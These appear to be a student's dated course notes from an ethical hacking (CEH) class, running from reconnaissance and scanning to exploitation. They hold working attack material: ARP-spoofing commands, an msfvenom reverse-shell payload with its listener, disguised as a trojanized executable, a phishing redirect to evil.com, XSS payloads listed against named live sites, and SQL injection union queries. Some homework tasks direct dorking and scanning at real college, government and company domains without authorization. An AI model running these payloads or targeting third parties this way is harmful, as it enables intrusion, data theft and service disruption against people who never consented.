**09-09-2021, THURSDAY**

ETHICAL HACKING (CEH)

1. INTRODUCTION

2. TECHNICAL ASPECTS

3. NETWORKING ASPECTS (PROTOCOLS, PORT NUMBERS, IP )

4. SERVER ASPECTS

5. VIRTUALISATION

6. CHOOSING OS

7. LINUX

8. STEPS IN ETHICAL HACKING

OFFENSIVE | DEFENSIVE

DEFENSIVE - CCNA, MCITP, AWS, SQL

OFFENSIVE - CEH, CPT, OSCP

PROTOCOLS - TCP / UDP

They are communication protocols that explain how data can be transferred from one device to another device.

or

Two devices when they need to communicate with each other, they can use either anyone of the communication protocols like tcp or udp

PORT NUMBERS

port is an entry or exit point

Physical ports - usb, serial port, parallel

Logical ports - which we cant see

Protocols (http, https, ftp, imap...) uses specific port for sending and receiving traffic

and that port is assigned a number which is called port number

0 - 65535

System reserved 0 - 1023

port can be open or closed for security reason

IP

Private ip & Public IP

SERVER ASPECTS

web server

mail server

web application server

ftp server

CMS

Windows server, nginx, apache, samba, wordpress, drupal, joomla

TO DO

1. Turn off port 443 in ur computer using inbuilt firewall of windows

try accessing websites in ur browser

2. configure a website using wordpress

3. configure a simple python server in kali linux of virutal box and share files to windows (host machine)

4. configure a simple apache server in kali linux of virtual box and share files to windows (host)

5. Host a website in windows using xampp

Note - use turnkey Linux for downloading different servers

**13-09-2021, MONDAY**

VIRTUALISATION

Methods

- Virtual Box

- Vmware

- Cloud-based

- GenyMotion

Need for virtualization

- To create a virtual lab environment

- To create a sandboxed environment

CHOOSING OS

CEH - Backtrack, Kali Linux

PENTESTING - Black Arc (29GB)

WIRELESS / RF - PARROT

FORENSICS - deft, sans, swift

BACKTRACK 1,2,3,4,5

BACKTRACK 5 R1

BACKTRACK 5 R2

BACKTRACK 5 R3 (LAST VERSION

KALI LINUX

STEPS IN ETHICAL HACKING

1. SOCIAL ENGINEERING

2. INFORMATION GATHERING | ENUMERATION | RECONNAISSANCE

3. SCANNING

4. VULNERABILITY ASSESSMENT

5. EXPLOITATION

6. PRIVILEGE ESCALATION

7. MAINTAINING ACCESS

8. COVERING TRACKS

2. INFORMATION GATHERING | ENUMERATION | RECONNAISSANCE

A. GOOGLE BASED INF GATHERING

B. OTHER SEARCH ENGINE BASED INF GATHERING

C. SYSTEM BASED INF GATHERING

D. WEBSITE BASED INF GATHERING

E. BROWSER ADD ON BASED INF GATHERING

F. SOFTWARE-BASED INF GATHERING

G. OS BASED INF GATHERING

H. SOCIAL MEDIA-BASED INF GATHERING

A. GOOGLE BASED INF GATHERING

- How database works?

- Importance of keywords

- Google database

- Google dorks

- Usage of google dorks

- countermeasures of google dorks

- Google and other products

GOOGLE DATABASE

- Spiders - Architecture of google

- Crawlers - its a program or ability of google to crawl or retrieve information from any wbesite based on user search

Search Results

- Relevant results - Google didnt understand they user input search query, so it tries to a similar result to the keywords whats being typed in the search box

- Exact results - What exactly the user is looking for

Google Dorks

- its a set of keywords with which you can access google to get exact results

filetype:

inurl:

intext:

intitle:

site:

allinurl:

allintext:

How a web server works

Type of Bug using google

- Server misconfiguration

- Sensitive information disclosure

- Directory traversal

- Information Disclosure

- Insecure storage of credentials

Google Dorks usage

index of

index of backup

index of trash

index of password

index of password site:edu.in

index of password site:gov.in

File extensions - .db .inc .conf .env

filetype:log inurl:"password.log"

db\_username filetype:env

htaccess

TO DO

1. Use google dorks to find 2 sensitive information of any college website in tamilnadu

2. Use google dorks to find 2 sensitive information of any european government website

**15-09-2021, WEDNESDAY**

- countermeasures of google dorks

ROBOTS.TXT

its a simple configuration file written in notepad which allows google and other search engines of what to access and what not to access from your website

Allow

Disallow

Disadvantage of robots.txt

- Robots.txt can intercept and block request which is raised from a search engine (google, bing....) but not manual request.

- Robots.txt can reveal the directory structure of websites.

- Google and other products

-> google dot vulnerability

email 1

sankarraj@gmail.com

email 2

sankar.raj@gmail.com

s.a.n.k.a.r.r.a.j@gmail.com

s.ankarraj@gmail.com

sa.nkarraj@gmail.com

san.karraj@gmail.com

sankar\_raj@gmail.com

-> log files

-> My activity

-> Survillence Capitalism

When any product is offered free of cost to the customer, then the customer becomes the product.

B. OTHER SEARCH ENGINE BASED INF GATHERING

GITHUB

Git is an open-source version control system that was started by Linus Torvalds (Creator of Linux)

1.What is Version Control System?

2.Components of Github

3.Github for Bug Bounty

4. Github Searching Methodology

5.Automated Approach

What is Version Control System?

Developer creates an app ABC and they release newer versions of these app now and then (ABC v1.0, ABC v1.1 etc)

Now version control system stores all these revised versions of codes in a central repository, so that developers find it easy to modify the code and update it with the newest version of the software

Every developer can see the project, look at the changes, download and contribute to the project and also a normal user can download and use the software.

Components of Github

Repository - Usually called as REPO. Is a location where all files of a particular project or software are stored and it has an unique url with which others can access it. a repository is essentially a project’s folder

Commit - is a the change that you make to the code, file or set of files. Everytime u change something, it gets saved with a unique id, so other developers will be aware that who made the changes and when.

Issues - are suggestions, improvements or errors related to that repository.

Github for Bug Bounty

We can use GitHub to know more about the target, internal details, products and their infrastructure

We can look for services like SSH, SFTP, FTP, PROXY, VPN, VSPHERE, SIEM, FIREWALL etc, then narrow down the search and check the code committed to that which might have valuable information.

We can look for keywords like the below

“company” password

“company” secret

“company” credentials

“company” token

Other common keywords which you can include after company are key, pass, login, ftp, pwd

Few keywords and corresponding results which we might get.

“company” security\_credentials - LDAP (Active directory)

“company” connectionstring - Database Credentials

“company” JDBC - Database Credentials

“company” ssh2\_auth\_password - Unauthorized access to server

“company” send\_keys or send.keys - If other keywords related to passwords failed

Github Searching Methodology

We can use a lot of other keywords - To get complete collection of keywords, we can download RANDOM-ROBBIE keywords from GitHub and use it based on the domain which we are looking for.

A.Based on results.

Results should always be sorted to “RECENTLY UPDATED”, any critical information which was uploaded long back will have less impact. So look for recent documents.

B.Based on excluding unwanted results.

In case if you have a lot of results and few of which is not in ur scope, then you can remove it with the following command.

“abc.com” NOT abc.net

C.Based on organization or user.

Incase we wanted to search for details about a particular organization. The same can be applied for a user and to enumerate details from him

org:abc

Org:abc.com

User:sankar password

D.Based on what we need.

We can start with directly giving our domain name

“abc.com” password

Or

“abc” password

(Incase if we are looking for all the domains related to abc)

From the search results we need to look at “CODE”

E.Based on what technology is used.

If we are aware about the database and the technology which our target uses, we can search with that

“abc.com” sql

“abc.com” jdbc

“abc.com” oracle

“abc.com” vsphere

F.Based on Language.

We can also search results based on specific languages. Which will again narrow down ur results

“abc” language:java

Abc send\_keys

CONSIDERATIONS

1. Give appropriate keyword in search box

2. Click on codes in filter options

3. Look for recently indexed documents (2/3years)

Sort - click Recently indexed

4. Check if we have sensitive information from recently indexed repositories

5. Check if the user who has uploaded the repository works for that company

6. if his profile says he is working for that company, go to the company page in GitHub and check if his name/profile is mentioned in the employee section.

7. If his profile is in the company's Github page, then check the validity of the data (if its new or old data) which is present in his repository

For useful GitHub dorks for bug bounty, RANDOM ROBBIE has uploaded keywords in Github

SHODAN.IO

Usually search engines like google, Yandex usually spider the websites and indexes them for its users.

Whereas shodan searches the internet only for IP, Open ports and running services and checks if its vulnerable or not.

So Shodan is a search engine for finding specific devices, and device types, that exist online.

It works by scanning the entire Internet and parsing the

banners that are returned by various devices.

Commands

Here are the basic search filters you can use

city : find devices in a particular city

country : find devices in a particular country

geo : you can pass it coordinates

hostname : find values that match the hostname

net : search based on an IP or /x CIDR

os : search based on operating system

port : find particular ports that are open

For searching in shodan we should know few things about port

numbers and protocols

HTTP - 80

HTTPS - 443

FTP - 20/21

SSH - 22

TELNET - 23

SNMP - 161

IMAP - 993

SIP - 5060

RTSP - 554

RDP - 3389

Usage

If we need to find vulnerable devices in India

country:”IN”

If we need to find vulnerable devices in Chennai

city:”chennai”

If we need specific brand of CCTV cameras from Chennai

hikvision country:”IN” city:”Chennai”

If we need to find apache servers in Chennai location

apache city:”chennai”

If we need to search for devices with particular open ports

proftpd port:21

If we need login page of satellite-linked devices

Vsat

If we want to search for windows machines which are accessible through internet

Os:windows

For useful shodan dorks, we have dorks by JAKEJARVIS from GITHUB

**16-09-2021, THURSDAY**

C. SYSTEM BASED INF GATHERING

CMD - PING, tracert, nslookup

PING

Packet INternet Groper

TTL - Time To Live

its the time period for which the packet which goes out of ur computer will be alive. after this time period the packetr will self destruct itself.

Output types

1. ping google.com

Reply from 142.250.199.46: bytes=32 time=59ms TTL=115

Destination is available and its replying you back

2. ping google.com

request timed out

Destination ip or domain name is not available

3. ping google.com

Destination host unreachble

Destination ip or domain name is available, but blocking ur request because of firewall, ids, ips

Normal Operation of ping command

#ping google.com

- there will be 4 icmp echo request which will sent from your computer

- INcase if the desztination is available, we get 4 icmp echo replies back

- Length of the packet 32 / 64 / 128 bytes

- Number of packets sent and received - 4

DOS - Denial of service

ping -l 64000 -n 100000 google.com

and this can be used to check if your target has a firewall or not

if firewall is present, the output will be as follows

request timed out or

destination host unreachable

if firewall is not present, the output will be as follows

Reply from 142.250.199.46: bytes=32 time=59ms TTL=115

Reply from 142.250.199.46: bytes=32 time=59ms TTL=115

Reply from 142.250.199.46: bytes=32 time=59ms TTL=115

Reply from 142.250.199.46: bytes=32 time=59ms TTL=115

Reply from 142.250.199.46: bytes=32 time=59ms TTL=115

....

ctrl + c

try this to a normal http website

TRACERT

Used to trace the path taken by your packet till it reaches the destination

#tracert google.com

NSLOOKUP

Used to get DNS detrails about any domain

#nslookup

>google.com

output

Authoritative answer (is the reply given by the primary dns server, we wont see this in the output)

Non - Authoritative answer (is the reply given by the secondarty dns server, we can see this in the output)

D. WEBSITE BASED INF GATHERING

Choose your target

- College website

- Normal website

- Dont go for bigger website

target - snsct.org

Basic Website

- Whois lookup

used to search details about a domain name or ip

- Archive.org

Used to look at older version of website

Technical Details

- builtwith.com

- sitereport.netcraft.com

- dnsqueries.com

- mxtoolbox.com

- centralops.net

- robtex.com

Advanced details - used for subdomain enumeration

- virustotal.com

- dnsdumpster.com

objective - to hack results of snsct.org

server banner grabbing

server version disclosure

E. BROWSER ADD ON BASED INF GATHERING

Browser extensions / addons - Wappalyzer, Pagexray, Whatruns

F. SOFTWARE BASED INF GATHERING - Windows

HTTRACK - Website mirrioring tool

You can download single page / url of a website or u can download the entire website

Web Data Extractor - USed to extract email id, phone numbers, fax from a website

Email Tracker Pro - Used to find origin email server IP

Smartwhois lookup - GUI of whoislookup

H. SOCIAL MEDIA BASED INF GATHERING

grabify | iploggers.com

TO DO

1. Mirror a single url of a website using HTTRACK and host it in 000webhost

2. Download and install windows software based inf gathering tools.

3. Install backtrack in virutal box

G. OS BASED INF GATHERING

**20-09-2021, MONDAY**

G. OS BASED INF GATHERING

BACKTRACK

Username - root

password - toor

DNS Analysis

To enumerate subdomain information and further DNS related information about your target

sendgrid.flipkart.com 18.10.1.11

sendgrid.flipkart.com 100.1.3.55

sendgrid.flipkart.com 90.44.33.6

sendgrid.flipkart.com 98.34.22.1

DNSDICT6

#dnsdict6 -4 flipkart.com

DNSENUM

#./dnsenum.pl flipkart.com

it gives more info about name server and MX server

also it checks if the target is vulnerable to zone transfer attack

Zone transfer

Its the updation of records from primary dns server to secondary dns server based on the request from secondary dns server

https://pentest-tools.com/network-vulnerability-scanning/dns-zone-transfer-check

DNSRECON

#./dnsrecon.py -d flipkart.com

FIERCE

#./fierce.pl -dns flipkart.com

performs around 1800 test to enuermate needed information

LBD

Load Balance Detector

used to check if your target has a load balancer or not

Type of Load Balancing

- DNS load Balancing (DOne by your ISP)

- Http Load Balancing (Configured by your org)

#./lbd.sh kct.ac.in

MALTEGO

GUI tool for infomration gathering, forensics, investigations

usedi n hacking, pentesting, forensics and case analysis

alos used for CDR | IPDR analysis

CDR - Call Directory Report

IPDR- IP Directory report

TO DO

- Download maltego for windows

- Register an account with maltego

https://www.maltego.com/ce-registration/

- Install marltego in window (Free Maltego CE)

- Register maltego with the username and pass which u have created.

**21-09-2021, TUESDAY**

SCANNING

- To get additional information about our target

- To verify the info which we got from information gathering

TOOLS - NMAP, ZENMAP, ANGRY IP SCANNER

NMAP - Network MAPper

TYPES OF SCAN

- INTERNAL SCAN (Done inside a LAN)

- EXTERNAL SCAN (Done outside a LAN - i.e WAN)

COMMONLY USED COMMANDS

-sT - Tcp connect scan

-sS - Stealth Scan

-sV - Version Scan

-sU - UDP Scan

-v - Verbrose mode(Detailed output, It shows what is happening in the background)

-O - To find OS

-A - Aggressive Scan (OS + Services + Tracert)

-f - To Fragment the packets (bypass firewall)

-Pn - To bypass firewall

-p - To mention a port number

-T - Timing scan

T1 - Slow Scan

T5 - Fast Scan

Scans like -sT, sS, -sV will scan only the default 1023 ports

0 - 1023 ports

65535 ports

Sometimes its important to scan all 65535 ports

To scan all ports, we use the following command

#nmap -sT -p- kct.ac.in

Dont use this scan frequently on a single target

INTERNAL SCAN

- How many computers are ON in our Lan (Host is Alive)

- IP and MAC

- OS

- Open ports

- Running Services

#nmap (scan type) (network id)/8 for class A, 16 for class B, 24 for class C

192.168.0.112

#nmap -sT 192.168.0.0/24

EXTERNAL SCAN

- IS ur target domain or ip is alive or not

- IP and MAC

- OS

- Open ports

- Running Services

#nmap kct.ac.in

NMAP SCRIPTING ENGINE

Similar to extensions or add ons in a browser

File extension - .nse

We can increase the functionality of nmap in enumeration, scanning, vulnerability assessment and exploitation.

Syntax

#nmap -sT --script (Script name) (target)

Type of NSE files

- Internal Files (Inbuilt which comes along with nmap)

- External Files (Which we have to download from internet)

TO DO

1. Scan your LAN - Internal Scanning and check how many host is up

2. Scan your target website and see how many ports are open

3. Understand the meaning of each protocol which is linked with port number

4. Use nmap scan to find OS of your target

5. Use any one internal nmap script against ur target for enumeration

6. Download any script from github or internet and paste it in nmap scripts folder and use it in nmap scan against ur target

ZENMAP

GUI of nmap

ANGRY IP SCANNER

- GUI

- Rapid scanner

We can find all vulnerable devices (computer, printer, router, server, firewall) in your area through scanning

49.206.112.22

method 1

starting range - 49.206.112.0

Ending range - 49.206.112.255

Method 2

starting range - 49.206.0.0

Ending range - 49.206.255.255

TO DO

- Learn all commands of slow and comprehensive scan of zenmap

VULNERABILITY ANALYSIS

To check if our target is weak or not

or

what is the weakness of our target

A. VULNERABILITY DATABASE

www.cvedetails.com

www.vuldb.com

www.exploit-db.com

apache 2.3.49 - Server banner grabbing (when version of server is disclosed)

B. WEBSITE BASED TOOLS

www.ssllabs.com (Any issue related to ssl, tls, certificates, encryption)

www.sitecheck.sucuri.net

www.openpentest.com

www.geekflare.com

www.quttera.com (for checking if there are any malicious files in website)

www.siteguarding.com (technical details, blacklist analysis)

www.observatory.mozilla.org (http,tls, ssh analysis)

C. OS BASED TOOLS

D. BUG BOUNTY WEBSITES

**23-09-2021, THURSDAY**

C. OS BASED TOOLS

TOOLS - W3AF, DIRB, DIRSEARCH, NIKTO, WAFWOOF, LYNIS, RAPIDSCAN, NETSPARKER

W3AF - Web Application, Attack & Audit Framework

DIRB - Directory Buster

When we use google dorks, to identify vulnerable directories for a specific website

backup, trash, admin, htaccess, passwd

index of backup site:abc.com

index of trash site:abc.com

We have more than 6000 + directories

and its a time consuming process with google and google dorks and so we go for softwares

In softwares we have wordlist - which is very important

DIrb has inbuilt 4000+ keywords in its wordlist

#dirb http://abc.com

DIRSEARCH

- More number of wordlist and more options

#./dirsearch.py -u abc.com -e\* -t 80 -x 400,403,404,500

dirb and dirsearch will search for a particular vulnerability - vulnerable directories

NIKTO

- performs 6000 test for all vulnerabilities present in the target

#nikto -host abc.com

WAFWOOF

Identifies and fingerprints web application firwall (waf)

LYNIS

- host based auditing tool to evaluate linux, unix and mac os

#lynis audit system --quick

RAPID SCAN

NETSPARKER

NESSUS - PAID TOOL - 2.5 LAKHS / YEAR

Case Study

Wednesday 25th, July, 2.30 a.m ICICI bank website was attacked,

causing loss of 1 lakh customer credentials along with card details.

After forensics investigation, they traced back to the hacker IP, but there were 2 IP’s of the hacker - out of which only 1 is true IP and other IP is fake

51.105.54.20 abc.com

23.23.231.187 xyz.com

Hint - The attacker server is NGINX with Java Server Page Engine 1.1

TO FIND

1. The domains/websites linked with these 2 IP address

2. Any emails linked with the 2 IP address

info@abc.com

admin@xyz.com

3. Location of these two IP address (not server location, but physical office location/address)

4. Out of these two, which is the Hackers IP & how can you prove that.

(Use nmap and hint)

D. BUG BOUNTY WEBSITES

**25-09-2021, SATURDAY**

NETWORK TRAFFIC ANALYSIS

TOOLS - Wireshark, Tshark, Network Miner

WIRESHARK

- Best tool for traffic analysis,

- Will analyse incoming and outgoing packets from your computer

- Mostly in corporate scenario implmented/install in server

- Its not a security device - it doesnt prevent any attack from happening.

- Traffic can be saved under .pcap Extension (Packet CAPture)

- Traffic can be saved based on Time or Size.

Usage of wireshark

- It helps in monitoring all users traffic in ur lan

- In case of an attack, it can help in understanding how the attack happened, who was responsible... also has its application in network forensics

(its like a cctv camera)

Types of packets

GET & POST packet

- When it comes to websites, its all get and post packets

GET - we are getting something from the website

Ex: www.abc.com/login.php

We are getting login page from abc server

POST - We enter few details and post it to webserver

Ex?: we enter username and password and click on login which gets posted to the server.

Filter Commands

Your computer ip is 192.168.0.105

ip.src==192.168.0.105 (will display all packets which goes out of our comp)

ip.dst==192.168.0.105 (will display all packets which is received by our comp)

ip.addr==192.168.0.105 (will display all packets which has our ip)

http

http.request.method

tcp.port==80

TO DO

1. Analyse tcp 3 way handshake for your target website in wireshark

2. Vist a login page of a http website - turn on wireshark - enter ur username and password, click login - analyse / find the username and password packet in wireshark

**27-09-2021, MONDAY**

Find the below details from the pcap file.

Attacker’s computer IP (192.168.1.158)

Evidence 001

1. What is the name of Attacker’s IM buddy?

2. What was the first comment in the captured IM conversation?

3. What is the name of the file Attacker transferred?

4. What is the secret recipe?

Evidence 002

1. What is Attacker’s email address?

2. What is Attacker’s email password?

3. What is Attacker’s secret lover’s email address?

4. What two items did Attacker tell her secret lover to bring?

5. What is the NAME of the attachment Attacker sent to her secret lover?

**28-09-2021, TUESDAY**

BURPSUITE, WPSCAN

BURPSUITE

- Web Application proxy interceptor

- Best tool for web application pentesting

- Other alternate tool - fiddler

Uses

- We can intercept traffic which goes out of a browser

- We can analyse the contents of the packet

- We can tamper (edit), modify or remove any content of the packet and u can forward packet to server

- We can also intercept the packet or response which we got from server

- To analyse request and response from the server, to tamper data, to bruteforce usernames and password

TO DO

- Install burp (community edition 1.7.36) in windows

- Configure firefox proxy setting to burp ip and port number

127.0.0.1 & 8080

- Download CA certificate of burp and install in firefox

- Verify If google.com packet gets intercepted in burpsuite

- Login to testphp.vulnerb.com give wrong username and password - use burp to send that to intruder and perform password cracking

SPIDERING

ABC.COM./home.html

abc.com/contactus.html

abc.com/home.html/?id=1

We will choose urls with input parameters

http://testphp.vulnweb.com/login.php

http://testphp.vulnweb.com/index.php

in url

http://testphp.vulnweb.com/listproducts.php?cat=1

? there will be a user input parameter

cat=1

name=value

input parameter name - cat

input parameter value - 1

http://testphp.vulnweb.com/showimage.php?file=./pictures/1.jpg

**30-09-2021, THURSDAY**

EXPLOITATION

1. LAN EXPLOITATION

Attacks which happen inside LAN

NETWORK SNIFFING

- Sniffing is to grab other user traffic or computer traffic which is present inside the LAN

Wireshark can sniff traffic of devices which is connected to wifi

and for devices which are connected through wired connection, wireshark is not goign to sniff the traffic

For those devices which are connected through wired - we have to do network sniffing to get those packets

TOOLS - ARPSPOOF, ETTERCAP

ARPSPOOF

Command Line based tool

ARP - Address Resolution Protocol

Converts IP to MAC

or

converts network address to physical address

C:/> arp -a

ATTACK NAME - MITM

Man In The Middle Attack

ARP Poisioning

Mandatory device - we need modem and not personal hotspot of mobile

Manual Process of ARP spoofing

Router IP - 192.168.1.1

VIctim IP - 192.168.1.5

Attacker IP - 192.168.1.2

We need to configure your computer not to drop packets which doesnt belong to it

In kali Linux

#echo '1' > /proc/sys/net/ipv4/ip\_forward

1 means ON

0 means OFF

Terminal 1

#arpspoof -i wlan0 -t <victimip> <routerip>

#arpspoof -i wlan0 -t 192.168.1.5 192.168.1.1

Terminal 2

#arpspoof -i wlan0 -t <routerip> <victimip>

#arpspoof -i wlan0 -t 192.168.1.1 192.168.1.5

Verify

Turn on wireshark and check if you get the traffic of 192.168.1.5 (victim IP)

AUTOMATED PROCESS OF ARP SPOOFING

ETTERCAP - GUI tool

URLSNARF - to grab the urls accessed by your victim

#urlsnarf

DRIFTNET - to grab the images accessed by your victim

#driftnet -i eth0

**01-10-2021, FRIDAY**

2. SESSION HIJACKING

- LAN based

Session

- It gets created after the client has given a user name and password and when server accepts that, a session is created.

- This session gets reauthenticated by the server frequently during the connection.

COokies

Its a random value generated by the server which is equivalent/random value for the password which you gave

Session HIjacking

- Involves in grabbing the cookies and using the cookies to login to user session.

TOOL - HAMSTER

OWASP - Open Web Application Security Project

3. DOS / DDOS

Internal attack - LAN

External attack - WAN

**04-10-2021, MONDAY**

WAN EXPLOITATION

PHISHING

WWW.FACEBOOK.COM/LOGIN.PHP/?ID=1&PRODUCT=NTESCRAP&REDIRECT\_URL=HTTP://EVIL.COM

TOOLS -

Social Engineering Toolkit

AdvPhishing tool

Blackphish

Lockphish - (Mobile pattern lock identification)

Social Engineering Toolkit

- Most commonly used tool

- It has combination of a lot of tools

- Usage is very simple

TO DO

- QR code generator using SET

(Find the location of the output file)

- Mass mailer attack using SET

- Try Blackphish & Lockphish

- Use ettercap & SEt to perform DNS Spoofing

**05-10-2021, TUESDAY**

MSF - Metasploit Framework

- Its a ruby based pentesting platform which helps to write, test and execute exploit code / payloads

- It has collection of vulnerabilities from differnt domains and technologies

COMMON TERMS

EXPLOIT - Actual vulnerability or weakness with wihch we attack our target

PAYLOAD - What we get in return with the list of available exploits

AUXILLARY - Combination of both exploit and payload

METERPRETER - Advanced payload (Like a command prompt with advanced options)

COMMANDS

USE - Use any module / exploit

SET - Set parameter

SHOW - To display all available options

SEARCH - To search any vulnerability/exploit/payload

LHOST - Local Host (Ur ip)

LPORT - Local port (ur port number)

RHOST - Remote Host (Victim ip)

RPORT - Remote Port (victim port number)

STEPS

1. Search for exploits

#search (keyword)

2. Use exploit

#use exploit/smb/ms08\_67\_netapi

3. Set payload

#set payload windows/meterpreter/reverse\_tcp

4. Show options

it displays all available options which we have to set

5. Exploit

ms08\_67\_netapi

ms - microsoft

08 - year 2008

67 - its the 67th vulnerability which was reported

netapi - technology

MSFVENOM

Syntax

#msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.1.101 lport=4444

-f exe > /root/Desktop/test.exe

TO DO

KALI LINUX

Terminal 1

#msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.1.101 lport=4444

-f exe > /root/Desktop/test.exe

Output file wil be saved in desktop

Terminal 2

Start listener

#use exploit/multi/handler

#set payload windows/meterpreter/reverse\_tcp

#show options

#set LHOST=192.168.1.101

#exploit

It will wait for output

Terminal 3

For file sharing

#service apache2 start

Copy the virus.exe and place it in var/www/html/virus.exe

WINDOWS 7 MACHINE

Turn off firewall and A/V

open browser

192.168.1.101

virus.exe

download and run this file

WE will get output in terminal 2

Meterpreter session 1 opened

>help

>sysinfo

windows 7

>try keyloggers

>try remote desktop

07-10-2021, THURSDAY

NETWORK SETTINGS - BRIDGED ADAPTOR - METASPLOITABLE 2

LOGIN DETAILS

username - msfadmin

password - msfadmin

1. Find out the technology used by the IP (asp,php,.....)

2. List our 5 main vulnerable directories of the IP

3. Perform command line exploit of FTP

4. Exploit FTP using an exploit available in MSF

5. Exploit port 80 using MSF

6. Exploit port 139 - Samba using MSF

7. Exploit port 6667 using a backdoor with MSF

8. Check if the there is any issue with Apache server? if so whats the issue/vulnerability

9. What HTTP methods are allowed for this IP / Server?

10. The apache server is running on which OS?

**28-10-2021, THURSDAY**

FILE UPLOAD VULNERABILITIES

http://192.168.1.104/dvwa/vulnerabilities/upload/#

../../hackable/uploads/testt.php

http://192.168.1.104/dvwa/hackable/uploads/testt.php

**11-01-2021, MONDAY**

DOS | DDOS

Denial of Service

Distributed Denial of Service

Types of DOS

- Internal DOS (Inside a LAN)

- External DOS (In WAN)

OUTPUT

- Server will be down

- Server will slowed down

- Loss of DATA

Internal DOS

Only your computer will be able to access internet and other computers wont be able to access internet

Monitoring Tool - Etherape

Attack Tool - Yersinia

Performs DHCP Starvation attack

External DOS

it functions based on sending any request continously within a short period of time

TOOL - Pentmenu, Xerxes, LOIC, XOIC

OS

ROBOLINUX

SABAYON LINUX

**08-11-2021, MONDAY**

STEGANOGRAPHY

-Art of hiding something into something

Types

- Using system inbuilt utilities

- Using Softwares - steghide, stegohide

- Using SFX

Using system inbuilt utilities

CMD

Steghide

#apt-get install steghide

-cf Cover file

-ef embed file

To extract the hidden file

-sf stego file

#steghide embed -cf 1.jpg -ef 2.txt

enter password

To extract

#steghide extract -sf image.jpg

Using SFX

Self Extracting Archive

-ITs a compute executable program that contains one or more compressed files

- Compression programs

Rarlab winrar

corel winzip

7 zip

ESTsoft Alzip

Smrat SFX pro

TOOL - Trojanizer

winrar SFX to compress two file input given by the user and it transforms it into an SFX exece

TO DO

1. Kali Linux

Generate a payload using msfvenom

#msfvenom -p windows/meterpreter/reverse\_tcp LHOST=192.168.1.7 LPORT=4444 -f exe > autoconfig.exe

2. Kali linux

Start the listner

#use exploit/multi/handler

#set payload windows/meterpreter/reverse\_tcp

#set LHOST 192.168.1.7

#set LPORT 4444

exploit

3. Download trojanizer from github

give autoconfig.exe in first pop up

give winrar.exe in second pop up

choose icon and file name

output will be saved in trojanizer directory

4. Send the output fil to windows 7 victim machine

execute the file

we will get output in msfconsole

HONEYPOTS

tOOL - pentbox

#git clone

#cd pentbox

#tar -zxvf pentbox.tar.gz

#cd pentbox

#./pentbox.rb

Firewall, IDS, IPS

Intrusion Detection System (Wireshark, CCTV)

Intrusion Prevention System (A/v)

**12-11-2021, FRIDAY**

CROSS SITE SCRIPTING (XSS)

1. INTRODUCTION

2. STEPS TO IDENTIFY XSS

3. TYPES OF XSS

4. PRACTICE WEBSITES

introduction:

xss allows user to inject client side code or script (mostly javascript or html) in websites

normally these scripts are executed in input fields of any websites (search box, login form, feedback form, comments section etc)

steps to identify xss:

we need to find input field or parameter in any website.

search box

new registration form

document upload menu

URL input parameters

contact us form

subscribe field

we can check whether they are vulnerable to xss

we need to execute scripts in those fields

script - one line code or two line code - html or javascript

basic javascript code or payload

<script>alert(1)</script> - basic script and when this exexute, it displays a pop up in the webpage and shows 1

<script>alert("hello yo are hacked")</script>

we have more than 1000+ default scripts - we can download from download

to find xss - manual or automated - burpsuite

1. understadning the input field structure

2. prepare the payload accordingly

types of xss

1. reflected xss - client side temporary

2. stored xss - stored in server

3. dom based xss - dom environment is changed

XSS Examples

www.ubraintv.com

"><script>alert(1)</script>

HTTPS://www.telcodata.us/SEARCH-COMPANIES-BY-AREA-CODE

"><script>alert(1)</script>

https://www.apc.org/en

"><script>alert(1)</script>

https://wellcomeopenresearch.org/

"><script>alert(1)</script>

https://www.filmon.com/group/uk-live-tv

"><img src=x onerror=alert(document.cookie)>

Bug Report Samples

List of xss reports for your reference

https://hackerone.com/reports/484801

https://hackerone.com/reports/330008

https://hackerone.com/reports/892289

https://hackerone.com/reports/953579

https://hackerone.com/reports/647130

https://hackerone.com/reports/177508

https://hackerone.com/reports/323005

https://hackerone.com/reports/314518

https://hackerone.com/reports/485684

https://hackerone.com/reports/1118501

https://hackerone.com/reports/643908

https://hackerone.com/reports/485748

https://hackerone.com/reports/840759

https://hackerone.com/reports/438240

**15-11-2021, MONDAY**

SQL INJECTION

Manual SQL Injection

sqlilabs

ID - input parameter

www.abc.com/?ID=1

METHOD

1. identifying injection points

2. Generate error

3. Analyse error

4. Find user input encapsulation

5. To balance the query - Removing the error

6. to inject sql codes

1. identifying injection points

http://192.168.1.102/sqlilabs/Less-1/?id=1

2. Generate error

http://192.168.1.102/sqlilabs/Less-1/?id=1

fuzzing

http://192.168.1.102/sqlilabs/Less-1/?id=acdfgfg

http://192.168.1.102/sqlilabs/Less-1/?id=98746573

http://192.168.1.102/sqlilabs/Less-1/?id=asndbdvj23943858

http://192.168.1.102/sqlilabs/Less-1/?id=9999999999999

http://192.168.1.102/sqlilabs/Less-1/?id=1'

http://192.168.1.102/sqlilabs/Less-1/?id=1"

http://192.168.1.102/sqlilabs/Less-1/?id=1%

http://192.168.1.102/sqlilabs/Less-1/?id=1$

You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

''1'' LIMIT 0,1' at line 1

' ' 1 ' ' LIMIT 0,1' at line 1

' 1 ' ' LIMIT 0,1

' 1' ' LIMIT 0,1

If our input is sankar

it can be encapsulated as

sankar

'sankar'

"sankar"

<sankar>

<'sankar'>

<"sankar">

5. To balance the query

' 1' ' LIMIT 0,1

' 1' (we have to comment out the rest of the line) ' LIMIT 0,1

For commenting out, we can use

--

# %23

/\* \*/

// %20

' 1' --+ ' LIMIT 0,1

http://192.168.1.102/sqlilabs/Less-1/?id=1' --+

Now we have a single space to inject our sql codes

http://192.168.1.102/sqlilabs/Less-1/?id=1'\_--+

6. to inject sql codes

- Order by

- Union select

http://192.168.1.102/sqlilabs/Less-1/?id=1'order by 1--+ No error

http://192.168.1.102/sqlilabs/Less-1/?id=1'order by 2--+ No error

http://192.168.1.102/sqlilabs/Less-1/?id=1'order by 3--+ No error

http://192.168.1.102/sqlilabs/Less-1/?id=1'order by 4--+ We get error

So we know there are 3 columns in the table

Union Select - To find out which column in vulnerable out of the 3 columns present

http://192.168.1.102/sqlilabs/Less-1/?id=1'union select 1,2,3--+

Column 2,3 are vulnerable, so we can use sql codes to get needed details

http://192.168.1.102/sqlilabs/Less-1/?id=1'union select 1,database(),version()--+

single quote

1'or'1'='1

'1'or'1'='1'

OPEN REDIRECTION

- Its also known as "Unvalidated redirects and forwards"

Need for redirection

- Login / logout of an account

- Create / register forn ew account

- When you reset password

www.abc.com/login.html

